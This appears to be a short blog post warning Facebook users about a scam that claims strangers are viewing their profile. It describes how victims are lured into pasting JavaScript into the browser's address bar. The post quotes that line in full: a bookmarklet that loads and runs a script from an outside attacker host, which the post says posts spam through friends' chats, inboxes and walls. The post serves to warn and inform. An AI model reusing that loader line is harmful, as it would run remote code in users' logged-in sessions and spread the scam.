How this scam post in other walls also without your knowledge?
 if the one of your friends click the link because of curiosity.  The link can detect his IP address.  Based on the IP address , it will say display the info as:

"5 users are currently viewing your profile from Delhi.
Follow the Steps to Reveal them"

The above info is just fake.  if you follow the steps , you will become victim of this scam.

It will ask you to paste the JavaScript into the address bar while using the Facebook.  The javascript it ask you to enter this is
javascript:(a=(b=document).createElement('script')).src='http://www.ajnachakra/com/js.js?'+Math.random(),b.body.appendChild(a);void(0)

If you copy and paste bold text , It will show the malcious JavaScript.  This JavaScript spread the spam message by posting in
  •  In the Chat Messages to Friends
  •  To the Inbox of Friends
  •  To the Walls of Friends
  •  At your own Wall
Fortunately , URL shorten service "is.gd" block the URL of the attacker.  So this spam message will not infect further.
